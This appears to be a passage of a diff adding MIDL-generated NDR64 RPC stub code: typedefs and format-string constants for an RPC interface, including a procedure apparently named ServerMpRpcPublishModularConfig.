+__midl_frag199_t; +extern const __midl_frag199_t __midl_frag199; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_REGION_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + } frag2; +} +__midl_frag189_t; +extern const __midl_frag189_t __midl_frag189; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag188_t; +extern const __midl_frag188_t __midl_frag188; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag186_t; +extern const __midl_frag186_t __midl_frag186; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag179_t; +extern const __midl_frag179_t __midl_frag179; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag171_t; +extern const __midl_frag171_t __midl_frag171; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag170_t; +extern const __midl_frag170_t __midl_frag170; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag167_t; +extern const __midl_frag167_t __midl_frag167; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag3; + struct _NDR64_POINTER_FORMAT frag4; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag166_t; +extern const __midl_frag166_t __midl_frag166; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag165_t; +extern const __midl_frag165_t __midl_frag165; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; + struct _NDR64_PARAM_FORMAT frag10; + struct _NDR64_PARAM_FORMAT frag11; +} +__midl_frag160_t; +extern const __midl_frag160_t __midl_frag160; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; +} +__midl_frag156_t; +extern const __midl_frag156_t __midl_frag156; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag155_t; +extern const __midl_frag155_t __midl_frag155; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag154_t; +extern const __midl_frag154_t __midl_frag154; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + NDR64_FORMAT_CHAR frag4; + } frag2; +} +__midl_frag153_t; +extern const __midl_frag153_t __midl_frag153; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag149_t; +extern const __midl_frag149_t __midl_frag149; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag148_t; +extern const __midl_frag148_t __midl_frag148; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + } frag2; +} +__midl_frag147_t; +extern const __midl_frag147_t __midl_frag147; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag146_t; +extern const __midl_frag146_t __midl_frag146; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; +} +__midl_frag145_t; +extern const __midl_frag145_t __midl_frag145; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + struct _NDR64_MEMPAD_FORMAT frag7; + struct _NDR64_BUFFER_ALIGN_FORMAT frag8; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag9; + } frag2; +} +__midl_frag141_t; +extern const __midl_frag141_t __midl_frag141; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag140_t; +extern const __midl_frag140_t __midl_frag140; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; +} +__midl_frag139_t; +extern const __midl_frag139_t __midl_frag139; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_MEMPAD_FORMAT frag6; + struct _NDR64_BUFFER_ALIGN_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + } frag2; +} +__midl_frag136_t; +extern const __midl_frag136_t __midl_frag136; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag135_t; +extern const __midl_frag135_t __midl_frag135; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + } frag2; +} +__midl_frag134_t; +extern const __midl_frag134_t __midl_frag134; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag133_t; +extern const __midl_frag133_t __midl_frag133; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + NDR64_FORMAT_CHAR frag4; + } frag2; +} +__midl_frag131_t; +extern const __midl_frag131_t __midl_frag131; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag130_t; +extern const __midl_frag130_t __midl_frag130; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; +} +__midl_frag127_t; +extern const __midl_frag127_t __midl_frag127; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + } frag2; +} +__midl_frag125_t; +extern const __midl_frag125_t __midl_frag125; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag124_t; +extern const __midl_frag124_t __midl_frag124; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag123_t; +extern const __midl_frag123_t __midl_frag123; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag122_t; +extern const __midl_frag122_t __midl_frag122; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag121_t; +extern const __midl_frag121_t __midl_frag121; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag115_t; +extern const __midl_frag115_t __midl_frag115; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_MEMPAD_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag9; + struct _NDR64_MEMPAD_FORMAT frag10; + struct _NDR64_BUFFER_ALIGN_FORMAT frag11; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag12; + } frag2; +} +__midl_frag110_t; +extern const __midl_frag110_t __midl_frag110; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag109_t; +extern const __midl_frag109_t __midl_frag109; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; +} +__midl_frag108_t; +extern const __midl_frag108_t __midl_frag108; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag106_t; +extern const __midl_frag106_t __midl_frag106; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag105_t; +extern const __midl_frag105_t __midl_frag105; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag103_t; +extern const __midl_frag103_t __midl_frag103; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag102_t; +extern const __midl_frag102_t __midl_frag102; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_MEMPAD_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + } frag2; +} +__midl_frag100_t; +extern const __midl_frag100_t __midl_frag100; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag99_t; +extern const __midl_frag99_t __midl_frag99; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; +} +__midl_frag98_t; +extern const __midl_frag98_t __midl_frag98; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag96_t; +extern const __midl_frag96_t __midl_frag96; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag95_t; +extern const __midl_frag95_t __midl_frag95; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + } frag2; +} +__midl_frag94_t; +extern const __midl_frag94_t __midl_frag94; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag93_t; +extern const __midl_frag93_t __midl_frag93; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; +} +__midl_frag91_t; +extern const __midl_frag91_t __midl_frag91; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_MEMPAD_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + } frag2; +} +__midl_frag89_t; +extern const __midl_frag89_t __midl_frag89; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag88_t; +extern const __midl_frag88_t __midl_frag88; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag87_t; +extern const __midl_frag87_t __midl_frag87; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag86_t; +extern const __midl_frag86_t __midl_frag86; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_NO_REPEAT_FORMAT frag4; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; + NDR64_FORMAT_CHAR frag7; + } frag2; +} +__midl_frag85_t; +extern const __midl_frag85_t __midl_frag85; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag84_t; +extern const __midl_frag84_t __midl_frag84; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + NDR64_FORMAT_CHAR frag4; + } frag2; +} +__midl_frag83_t; +extern const __midl_frag83_t __midl_frag83; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag82_t; +extern const __midl_frag82_t __midl_frag82; + +typedef +struct +{ + struct _NDR64_FIX_ARRAY_HEADER_FORMAT frag1; +} +__midl_frag81_t; +extern const __midl_frag81_t __midl_frag81; + +typedef +struct +{ + struct _NDR64_FIX_ARRAY_HEADER_FORMAT frag1; +} +__midl_frag80_t; +extern const __midl_frag80_t __midl_frag80; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; +} +__midl_frag79_t; +extern const __midl_frag79_t __midl_frag79; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag77_t; +extern const __midl_frag77_t __midl_frag77; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag76_t; +extern const __midl_frag76_t __midl_frag76; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_NO_REPEAT_FORMAT frag4; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; + struct _NDR64_NO_REPEAT_FORMAT frag7; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag8; + struct _NDR64_POINTER_FORMAT frag9; + NDR64_FORMAT_CHAR frag10; + } frag2; +} +__midl_frag73_t; +extern const __midl_frag73_t __midl_frag73; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_BUFFER_ALIGN_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_MEMPAD_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag9; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag10; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag11; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag12; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag13; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag14; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag15; + } frag2; +} +__midl_frag72_t; +extern const __midl_frag72_t __midl_frag72; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag71_t; +extern const __midl_frag71_t __midl_frag71; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag60_t; +extern const __midl_frag60_t __midl_frag60; + +typedef +struct +{ + struct _NDR64_NON_ENCAPSULATED_UNION frag1; + struct _NDR64_UNION_ARM_SELECTOR frag2; + struct _NDR64_UNION_ARM frag3; + struct _NDR64_UNION_ARM frag4; + struct _NDR64_UNION_ARM frag5; + struct _NDR64_UNION_ARM frag6; + struct _NDR64_UNION_ARM frag7; + struct _NDR64_UNION_ARM frag8; + struct _NDR64_UNION_ARM frag9; + struct _NDR64_UNION_ARM frag10; + struct _NDR64_UNION_ARM frag11; + struct _NDR64_UNION_ARM frag12; + struct _NDR64_UNION_ARM frag13; + NDR64_UINT32 frag14; +} +__midl_frag57_t; +extern const __midl_frag57_t __midl_frag57; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + } frag2; +} +__midl_frag56_t; +extern const __midl_frag56_t __midl_frag56; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag55_t; +extern const __midl_frag55_t __midl_frag55; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag54_t; +extern const __midl_frag54_t __midl_frag54; + +typedef +struct +{ + struct _NDR64_NON_ENCAPSULATED_UNION frag1; + struct _NDR64_UNION_ARM_SELECTOR frag2; + struct _NDR64_UNION_ARM frag3; + struct _NDR64_UNION_ARM frag4; + struct _NDR64_UNION_ARM frag5; + struct _NDR64_UNION_ARM frag6; + struct _NDR64_UNION_ARM frag7; + struct _NDR64_UNION_ARM frag8; + struct _NDR64_UNION_ARM frag9; + struct _NDR64_UNION_ARM frag10; + struct _NDR64_UNION_ARM frag11; + struct _NDR64_UNION_ARM frag12; + struct _NDR64_UNION_ARM frag13; + struct _NDR64_UNION_ARM frag14; + struct _NDR64_UNION_ARM frag15; + struct _NDR64_UNION_ARM frag16; + struct _NDR64_UNION_ARM frag17; + struct _NDR64_UNION_ARM frag18; + struct _NDR64_UNION_ARM frag19; + struct _NDR64_UNION_ARM frag20; + struct _NDR64_UNION_ARM frag21; + struct _NDR64_UNION_ARM frag22; + struct _NDR64_UNION_ARM frag23; + NDR64_UINT32 frag24; +} +__midl_frag53_t; +extern const __midl_frag53_t __midl_frag53; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_REGION_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3; + struct _NDR64_BUFFER_ALIGN_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag52_t; +extern const __midl_frag52_t __midl_frag52; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag48_t; +extern const __midl_frag48_t __midl_frag48; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag42_t; +extern const __midl_frag42_t __midl_frag42; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag36_t; +extern const __midl_frag36_t __midl_frag36; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; +} +__midl_frag30_t; +extern const __midl_frag30_t __midl_frag30; + +typedef +struct +{ + struct _NDR64_FIX_ARRAY_HEADER_FORMAT frag1; +} +__midl_frag26_t; +extern const __midl_frag26_t __midl_frag26; + +typedef +struct +{ + struct _NDR64_FIX_ARRAY_HEADER_FORMAT frag1; +} +__midl_frag21_t; +extern const __midl_frag21_t __midl_frag21; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_BUFFER_ALIGN_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag9; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag10; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag11; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag12; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag13; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag14; + struct _NDR64_BUFFER_ALIGN_FORMAT frag15; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag16; + struct _NDR64_MEMPAD_FORMAT frag17; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag18; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag19; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag20; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag21; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag22; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag23; + struct _NDR64_BUFFER_ALIGN_FORMAT frag24; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag25; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag26; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag27; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag28; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag29; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag30; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag31; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag32; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag33; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag34; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag35; + struct _NDR64_BUFFER_ALIGN_FORMAT frag36; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag37; + struct _NDR64_MEMPAD_FORMAT frag38; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag39; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag40; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag41; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag42; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag43; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag44; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag45; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag46; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag47; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag48; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag49; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag50; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag51; + } frag2; +} +__midl_frag17_t; +extern const __midl_frag17_t __midl_frag17; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag16_t; +extern const __midl_frag16_t __midl_frag16; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag13_t; +extern const __midl_frag13_t __midl_frag13; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag8_t; +extern const __midl_frag8_t __midl_frag8; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag2_t; +extern const __midl_frag2_t __midl_frag2; + +typedef +NDR64_FORMAT_UINT32 +__midl_frag1_t; +extern const __midl_frag1_t __midl_frag1; + +static const __midl_frag2368_t __midl_frag2368 = +0x5 /* FC64_INT32 */; + +static const __midl_frag2367_t __midl_frag2367 = +0x13 /* FC64_ERROR_STATUS_T */; + +static const __midl_frag2366_t __midl_frag2366 = +{ +/* *error_status_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 12 /* 0xc */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2367 +}; + +static const __midl_frag2364_t __midl_frag2364 = +{ +/* *wchar_t */ + { + /* *wchar_t */ + 0x64, /* FC64_CONF_WCHAR_STRING */ + { + /* *wchar_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT16) 2 /* 0x2 */ + } +}; + +static const __midl_frag2363_t __midl_frag2363 = +{ +/* *wchar_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 +}; + +static const __midl_frag2360_t __midl_frag2360 = +{ +/* Proc235_ServerMpRpcPublishModularConfig */ + { + /* Proc235_ServerMpRpcPublishModularConfig */ /* procedure Proc235_ServerMpRpcPublishModularConfig */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 